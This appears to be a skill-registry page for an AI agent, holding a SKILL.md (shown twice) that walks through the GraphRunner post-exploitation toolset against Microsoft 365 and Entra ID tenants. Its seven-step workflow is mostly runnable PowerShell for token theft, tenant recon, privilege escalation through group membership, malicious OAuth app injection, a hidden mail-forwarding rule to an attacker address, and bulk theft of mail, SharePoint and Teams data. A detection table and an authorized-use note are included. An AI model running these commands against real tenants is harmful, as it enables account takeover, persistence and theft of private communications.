[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7AAMGE8CYSZ4E4HSGGG5SEM":3,"skill-same:01M7AAMGE8CYSZ4E4HSGGG5SEM":83},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":42,"commitSha":43,"skillDirectory":44,"forksCount":14,"repositoryHtmlUrl":45,"repositoryHomepageUrl":6,"ownerHtmlUrl":46,"ownerBlogUrl":6,"ownerDescription":47,"updatedAt":48,"install":49,"resources":62},"01M7AAMGE8CYSZ4E4HSGGG5SEM","post-exploiting-microsoft-graph-with-graphrunner",null,"Runs GraphRunner, a PowerShell post-exploitation toolset built on the Microsoft Graph API, to perform tenant recon, establish persistence (OAuth app injection, inbox rules), escalate privilege via group manipulation, and pillage mailboxes, SharePoint, and Teams data from a foothold Graph token. Use during authorized red-team engagements against Microsoft 365\u002FEntra ID tenants once you hold a Graph token.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: post-exploiting-microsoft-graph-with-graphrunner\ndescription: Runs GraphRunner, a PowerShell post-exploitation toolset built on\n  the Microsoft Graph API, to perform tenant recon, establish persistence (OAuth\n  app injection, inbox rules), escalate privilege via group manipulation, and pillage\n  mailboxes, SharePoint, and Teams data from a foothold Graph token. Use during\n  authorized red-team engagements against Microsoft 365\u002FEntra ID tenants once you\n  hold a Graph token.\ndomain: cybersecurity\nsubdomain: identity-access-management\ntags:\n- red-team\n- microsoft-graph\n- graphrunner\n- entra-id\n- oauth-abuse\n- account-manipulation\n- post-exploitation\n- m365\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1098\n---\n# Post-Exploiting Microsoft Graph with GraphRunner\n\n> **Authorized use only:** GraphRunner performs offensive actions against live Microsoft 365 \u002F Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.\n\n## Overview\n\nGraphRunner (Beau Bullock \u002F Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the **Microsoft Graph API**. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential\u002Ftoken theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.\n\nThe toolset is a single PowerShell module (`GraphRunner.ps1`) exposing dozens of functions grouped by purpose:\n\n- **Authentication** — `Get-GraphTokens` (device-code login), `Invoke-RefreshGraphTokens`, `Invoke-AutoTokenRefresh`, `Invoke-ImportTokens`, `Invoke-RefreshToSharePointToken`.\n- **Recon & Enumeration** — `Invoke-GraphRecon` (tenant\u002Fuser permission summary), `Invoke-DumpCAPS` (conditional-access policies), `Invoke-DumpApps` (app registrations \u002F consent grants), `Get-AzureADUsers`, `Get-SecurityGroups`, `Get-UpdatableGroups`, `Get-DynamicGroups`, `Invoke-SearchUserAttributes`, `Invoke-GraphOpenInboxFinder`, `Find-PermissiveCalendars`.\n- **Persistence** — `Invoke-InjectOAuthApp` (deploy a malicious OAuth app for consent-grant persistence), `Invoke-CreateInboxForwardingRule`.\n- **Privilege Escalation** — `Get-UpdatableGroups`, `Invoke-AddGroupMember`, `Invoke-SecurityGroupCloner`, `Invoke-InviteGuest`.\n- **Pillage \u002F Data Search** — `Invoke-SearchMailbox`, `Invoke-SearchSharePointAndOneDrive`, `Invoke-SearchTeams`, `Get-TeamsChat`, `Invoke-DriveFileDownload`.\n- **Master runner** — `Invoke-GraphRunner` runs an automated recon-and-pillage pass; `List-GraphRunnerModules` prints all modules.\n\nThis maps to MITRE ATT&CK **T1098 — Account Manipulation**: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.\n\n## When to Use\n\n- After obtaining a valid Microsoft Graph access\u002Frefresh token during an authorized M365\u002FEntra engagement.\n- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.\n- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).\n- When demonstrating privilege escalation through updatable\u002Fdynamic groups.\n- When searching mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive data to evidence impact.\n\n## Prerequisites\n\n- Written authorization and scope for the target tenant.\n- A Graph token foothold (from `Get-GraphTokens` device-code login, or imported tokens).\n- PowerShell 5.1+ or PowerShell 7 (cross-platform).\n\n```powershell\n# Clone and import the module\ngit clone https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner.git\ncd GraphRunner\nImport-Module .\\GraphRunner.ps1\n\n# List every available module\nList-GraphRunnerModules\n```\n\n## Objectives\n\n- Authenticate to Microsoft Graph and maintain tokens via refresh.\n- Enumerate tenant users, groups, CA policies, and OAuth apps.\n- Identify updatable groups and demonstrate privilege escalation.\n- Establish persistence via an injected OAuth app and\u002For inbox forwarding rule.\n- Search mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive content.\n\n## MITRE ATT&CK Mapping\n\n| ID | Tactic | Official Technique Name | Role in this skill |\n|----|--------|-------------------------|--------------------|\n| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain\u002Fescalate access |\n| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged\u002Fupdatable groups |\n| T1528 | Credential Access | Steal Application Access Token | `Get-GraphTokens` device-code token acquisition |\n| T1087.004 | Discovery | Account Discovery: Cloud Account | `Get-AzureADUsers`, `Invoke-SearchUserAttributes` |\n| T1114.002 | Collection | Email Collection: Remote Email Collection | `Invoke-SearchMailbox` over Graph |\n| T1606.002 | Credential Access | Forge Web Credentials: SAML\u002FOAuth | `Invoke-InjectOAuthApp` consent-grant persistence |\n\n## Workflow\n\n### Step 1: Authenticate and refresh tokens\n\n```powershell\n# Device-code login; complete the code at microsoft.com\u002Fdevicelogin\nGet-GraphTokens\n\n# Refresh the access token when it expires\nInvoke-RefreshGraphTokens\n\n# Keep tokens fresh automatically during a long operation\nInvoke-AutoTokenRefresh\n\n# Import tokens captured elsewhere (e.g., from ROADtools)\nInvoke-ImportTokens -AccessToken $at -RefreshToken $rt\n```\n\n### Step 2: Recon and enumeration\n\n```powershell\n# High-level tenant + current-user permission recon\nInvoke-GraphRecon -Tokens $tokens -PermissionEnum\n\n# Dump conditional-access policies\nInvoke-DumpCAPS -Tokens $tokens -ResolveGuids\n\n# Enumerate app registrations, service principals, and consent grants\nInvoke-DumpApps -Tokens $tokens\n\n# Enumerate all users and security groups\nGet-AzureADUsers -Tokens $tokens -OutFile users.txt\nGet-SecurityGroups -Tokens $tokens\n```\n\n### Step 3: Search user attributes for secrets\n\n```powershell\n# Hunt across all user attributes for terms like \"password\"\nInvoke-SearchUserAttributes -Tokens $tokens -SearchTerm \"password\"\n```\n\n### Step 4: Privilege escalation via updatable groups\n\n```powershell\n# Find groups the current principal can modify directly\nGet-UpdatableGroups -Tokens $tokens\n\n# Add yourself (or a controlled account) to a target group\nInvoke-AddGroupMember -Tokens $tokens -GroupId \u003Cgroup-guid> -UserId \u003Cuser-guid>\n\n# Clone a privileged security group's membership into a new group you control\nInvoke-SecurityGroupCloner -Tokens $tokens\n```\n\n### Step 5: Persistence\n\n```powershell\n# Deploy a malicious OAuth app and walk the consent-grant flow for persistence\nInvoke-InjectOAuthApp -AppName \"Demo App\" -ReplyUrl \"https:\u002F\u002Flocalhost\" -Scope \"openid profile offline_access Mail.Read\"\n\n# Create a hidden inbox forwarding rule on a target mailbox\nInvoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo \"attacker@evil.com\" -RuleName \"Sync\"\n```\n\n### Step 6: Pillage M365 data\n\n```powershell\n# Search a mailbox (or all reachable mailboxes) for sensitive terms\nInvoke-SearchMailbox -Tokens $tokens -SearchTerm \"password\" -MessageCount 100 -OutFile mail.csv\n\n# Search SharePoint and OneDrive content\nInvoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm \"secret\"\n\n# Download a discovered file\nInvoke-DriveFileDownload -Tokens $tokens -DriveItemIDs \"\u003Cdrive-id>:\u003Citem-id>\" -FileName loot.docx\n\n# Search Teams messages\nInvoke-SearchTeams -Tokens $tokens -SearchTerm \"vpn\"\n```\n\n### Step 7: Automated full pass\n\n```powershell\n# Run the orchestrated recon + pillage workflow end to end\nInvoke-GraphRunner -Tokens $tokens\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Primary Source |\n|------|---------|----------------|\n| GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner |\n| GraphRunner wiki | Per-module usage guide | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner\u002Fwiki |\n| BHIS GraphRunner blog | Tool release + walkthrough | https:\u002F\u002Fwww.blackhillsinfosec.com\u002Fintroducing-graphrunner\u002F |\n| Microsoft Graph API | API reference for the underlying calls | https:\u002F\u002Flearn.microsoft.com\u002Fgraph\u002Fapi\u002Foverview |\n| ROADtools | Upstream token acquisition \u002F device-code phishing | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n\n## OPSEC and Detection Considerations\n\nGraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:\n\n| GraphRunner action | Telemetry source | What the defender sees |\n|--------------------|------------------|------------------------|\n| `Get-GraphTokens` (device code) | Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device\u002FIP |\n| `Invoke-InjectOAuthApp` | Entra audit logs | \"Add application\" + \"Consent to application\" events with broad delegated scopes |\n| `Invoke-AddGroupMember` \u002F `Invoke-SecurityGroupCloner` | Entra audit logs | \"Add member to group\" on privileged\u002Frole-assignable groups |\n| `Invoke-CreateInboxForwardingRule` | M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |\n| `Invoke-SearchMailbox` \u002F `Invoke-SearchSharePointAndOneDrive` | MicrosoftGraphActivityLogs | High-volume `$search` calls against `\u002Fmessages` and Drive endpoints |\n\nTo reduce noise during an authorized engagement, scope searches with `-MessageCount`, avoid role-assignable group changes unless required, and always remove injected apps with `Invoke-DeleteOAuthApp` and forwarding rules during cleanup.\n\n## Validation Criteria\n\n- [ ] Graph tokens obtained via `Get-GraphTokens` and refreshed successfully.\n- [ ] Tenant recon completed (`Invoke-GraphRecon`, `Invoke-DumpCAPS`, `Invoke-DumpApps`).\n- [ ] Users and security groups enumerated.\n- [ ] User attributes searched for embedded secrets.\n- [ ] Updatable groups identified and a controlled privilege escalation demonstrated.\n- [ ] Persistence established (OAuth app injection and\u002For inbox forwarding) where in scope.\n- [ ] Mailbox, SharePoint\u002FOneDrive, and Teams searched for sensitive data.\n- [ ] All actions, object IDs, and evidence logged for the engagement report and cleanup.\n","# Post-Exploiting Microsoft Graph with GraphRunner\n\n> **Authorized use only:** GraphRunner performs offensive actions against live Microsoft 365 \u002F Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.\n\n## Overview\n\nGraphRunner (Beau Bullock \u002F Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the **Microsoft Graph API**. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential\u002Ftoken theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.\n\nThe toolset is a single PowerShell module (`GraphRunner.ps1`) exposing dozens of functions grouped by purpose:\n\n- **Authentication** — `Get-GraphTokens` (device-code login), `Invoke-RefreshGraphTokens`, `Invoke-AutoTokenRefresh`, `Invoke-ImportTokens`, `Invoke-RefreshToSharePointToken`.\n- **Recon & Enumeration** — `Invoke-GraphRecon` (tenant\u002Fuser permission summary), `Invoke-DumpCAPS` (conditional-access policies), `Invoke-DumpApps` (app registrations \u002F consent grants), `Get-AzureADUsers`, `Get-SecurityGroups`, `Get-UpdatableGroups`, `Get-DynamicGroups`, `Invoke-SearchUserAttributes`, `Invoke-GraphOpenInboxFinder`, `Find-PermissiveCalendars`.\n- **Persistence** — `Invoke-InjectOAuthApp` (deploy a malicious OAuth app for consent-grant persistence), `Invoke-CreateInboxForwardingRule`.\n- **Privilege Escalation** — `Get-UpdatableGroups`, `Invoke-AddGroupMember`, `Invoke-SecurityGroupCloner`, `Invoke-InviteGuest`.\n- **Pillage \u002F Data Search** — `Invoke-SearchMailbox`, `Invoke-SearchSharePointAndOneDrive`, `Invoke-SearchTeams`, `Get-TeamsChat`, `Invoke-DriveFileDownload`.\n- **Master runner** — `Invoke-GraphRunner` runs an automated recon-and-pillage pass; `List-GraphRunnerModules` prints all modules.\n\nThis maps to MITRE ATT&CK **T1098 — Account Manipulation**: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.\n\n## When to Use\n\n- After obtaining a valid Microsoft Graph access\u002Frefresh token during an authorized M365\u002FEntra engagement.\n- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.\n- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).\n- When demonstrating privilege escalation through updatable\u002Fdynamic groups.\n- When searching mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive data to evidence impact.\n\n## Prerequisites\n\n- Written authorization and scope for the target tenant.\n- A Graph token foothold (from `Get-GraphTokens` device-code login, or imported tokens).\n- PowerShell 5.1+ or PowerShell 7 (cross-platform).\n\n```powershell\n# Clone and import the module\ngit clone https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner.git\ncd GraphRunner\nImport-Module .\\GraphRunner.ps1\n\n# List every available module\nList-GraphRunnerModules\n```\n\n## Objectives\n\n- Authenticate to Microsoft Graph and maintain tokens via refresh.\n- Enumerate tenant users, groups, CA policies, and OAuth apps.\n- Identify updatable groups and demonstrate privilege escalation.\n- Establish persistence via an injected OAuth app and\u002For inbox forwarding rule.\n- Search mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive content.\n\n## MITRE ATT&CK Mapping\n\n| ID | Tactic | Official Technique Name | Role in this skill |\n|----|--------|-------------------------|--------------------|\n| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain\u002Fescalate access |\n| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged\u002Fupdatable groups |\n| T1528 | Credential Access | Steal Application Access Token | `Get-GraphTokens` device-code token acquisition |\n| T1087.004 | Discovery | Account Discovery: Cloud Account | `Get-AzureADUsers`, `Invoke-SearchUserAttributes` |\n| T1114.002 | Collection | Email Collection: Remote Email Collection | `Invoke-SearchMailbox` over Graph |\n| T1606.002 | Credential Access | Forge Web Credentials: SAML\u002FOAuth | `Invoke-InjectOAuthApp` consent-grant persistence |\n\n## Workflow\n\n### Step 1: Authenticate and refresh tokens\n\n```powershell\n# Device-code login; complete the code at microsoft.com\u002Fdevicelogin\nGet-GraphTokens\n\n# Refresh the access token when it expires\nInvoke-RefreshGraphTokens\n\n# Keep tokens fresh automatically during a long operation\nInvoke-AutoTokenRefresh\n\n# Import tokens captured elsewhere (e.g., from ROADtools)\nInvoke-ImportTokens -AccessToken $at -RefreshToken $rt\n```\n\n### Step 2: Recon and enumeration\n\n```powershell\n# High-level tenant + current-user permission recon\nInvoke-GraphRecon -Tokens $tokens -PermissionEnum\n\n# Dump conditional-access policies\nInvoke-DumpCAPS -Tokens $tokens -ResolveGuids\n\n# Enumerate app registrations, service principals, and consent grants\nInvoke-DumpApps -Tokens $tokens\n\n# Enumerate all users and security groups\nGet-AzureADUsers -Tokens $tokens -OutFile users.txt\nGet-SecurityGroups -Tokens $tokens\n```\n\n### Step 3: Search user attributes for secrets\n\n```powershell\n# Hunt across all user attributes for terms like \"password\"\nInvoke-SearchUserAttributes -Tokens $tokens -SearchTerm \"password\"\n```\n\n### Step 4: Privilege escalation via updatable groups\n\n```powershell\n# Find groups the current principal can modify directly\nGet-UpdatableGroups -Tokens $tokens\n\n# Add yourself (or a controlled account) to a target group\nInvoke-AddGroupMember -Tokens $tokens -GroupId \u003Cgroup-guid> -UserId \u003Cuser-guid>\n\n# Clone a privileged security group's membership into a new group you control\nInvoke-SecurityGroupCloner -Tokens $tokens\n```\n\n### Step 5: Persistence\n\n```powershell\n# Deploy a malicious OAuth app and walk the consent-grant flow for persistence\nInvoke-InjectOAuthApp -AppName \"Demo App\" -ReplyUrl \"https:\u002F\u002Flocalhost\" -Scope \"openid profile offline_access Mail.Read\"\n\n# Create a hidden inbox forwarding rule on a target mailbox\nInvoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo \"attacker@evil.com\" -RuleName \"Sync\"\n```\n\n### Step 6: Pillage M365 data\n\n```powershell\n# Search a mailbox (or all reachable mailboxes) for sensitive terms\nInvoke-SearchMailbox -Tokens $tokens -SearchTerm \"password\" -MessageCount 100 -OutFile mail.csv\n\n# Search SharePoint and OneDrive content\nInvoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm \"secret\"\n\n# Download a discovered file\nInvoke-DriveFileDownload -Tokens $tokens -DriveItemIDs \"\u003Cdrive-id>:\u003Citem-id>\" -FileName loot.docx\n\n# Search Teams messages\nInvoke-SearchTeams -Tokens $tokens -SearchTerm \"vpn\"\n```\n\n### Step 7: Automated full pass\n\n```powershell\n# Run the orchestrated recon + pillage workflow end to end\nInvoke-GraphRunner -Tokens $tokens\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Primary Source |\n|------|---------|----------------|\n| GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner |\n| GraphRunner wiki | Per-module usage guide | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner\u002Fwiki |\n| BHIS GraphRunner blog | Tool release + walkthrough | https:\u002F\u002Fwww.blackhillsinfosec.com\u002Fintroducing-graphrunner\u002F |\n| Microsoft Graph API | API reference for the underlying calls | https:\u002F\u002Flearn.microsoft.com\u002Fgraph\u002Fapi\u002Foverview |\n| ROADtools | Upstream token acquisition \u002F device-code phishing | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n\n## OPSEC and Detection Considerations\n\nGraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:\n\n| GraphRunner action | Telemetry source | What the defender sees |\n|--------------------|------------------|------------------------|\n| `Get-GraphTokens` (device code) | Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device\u002FIP |\n| `Invoke-InjectOAuthApp` | Entra audit logs | \"Add application\" + \"Consent to application\" events with broad delegated scopes |\n| `Invoke-AddGroupMember` \u002F `Invoke-SecurityGroupCloner` | Entra audit logs | \"Add member to group\" on privileged\u002Frole-assignable groups |\n| `Invoke-CreateInboxForwardingRule` | M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |\n| `Invoke-SearchMailbox` \u002F `Invoke-SearchSharePointAndOneDrive` | MicrosoftGraphActivityLogs | High-volume `$search` calls against `\u002Fmessages` and Drive endpoints |\n\nTo reduce noise during an authorized engagement, scope searches with `-MessageCount`, avoid role-assignable group changes unless required, and always remove injected apps with `Invoke-DeleteOAuthApp` and forwarding rules during cleanup.\n\n## Validation Criteria\n\n- [ ] Graph tokens obtained via `Get-GraphTokens` and refreshed successfully.\n- [ ] Tenant recon completed (`Invoke-GraphRecon`, `Invoke-DumpCAPS`, `Invoke-DumpApps`).\n- [ ] Users and security groups enumerated.\n- [ ] User attributes searched for embedded secrets.\n- [ ] Updatable groups identified and a controlled privilege escalation demonstrated.\n- [ ] Persistence established (OAuth app injection and\u002For inbox forwarding) where in scope.\n- [ ] Mailbox, SharePoint\u002FOneDrive, and Teams searched for sensitive data.\n- [ ] All actions, object IDs, and evidence logged for the engagement report and cleanup.\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"nist_csf":37,"subdomain":39,"description":7,"mitre_attack":40},[26,27,28,29,30,31,32,33],"red-team","microsoft-graph","graphrunner","entra-id","oauth-abuse","account-manipulation","post-exploitation","m365","mahipal","cybersecurity","1.0",[38],"PR.AA-05","identity-access-management",[41],"T1098","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":50,"prompt":60,"zipAvailable":61},[51,54,57],{"tool":52,"command":53},"npx","npx skills add NeelakshSaxena\u002FVayu --skill post-exploiting-microsoft-graph-with-graphrunner",{"tool":55,"command":56},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill post-exploiting-microsoft-graph-with-graphrunner",{"tool":58,"command":59},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill post-exploiting-microsoft-graph-with-graphrunner","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002FSKILL.md",true,[63,67,73,77],{"path":64,"resourceType":64,"resourceTypeDesc":65,"sizeBytes":66,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":68,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":72},"references\u002Fapi-reference.md","REFERENCE","参考文档",3696,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002Freferences\u002Fapi-reference.md",{"path":74,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":75,"sourceHtmlUrl":76},"references\u002Fstandards.md",1664,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002Freferences\u002Fstandards.md",{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"scripts\u002Fagent.py","SCRIPT","脚本",6393,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002Fscripts\u002Fagent.py",[84,91,98,105,112,119],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]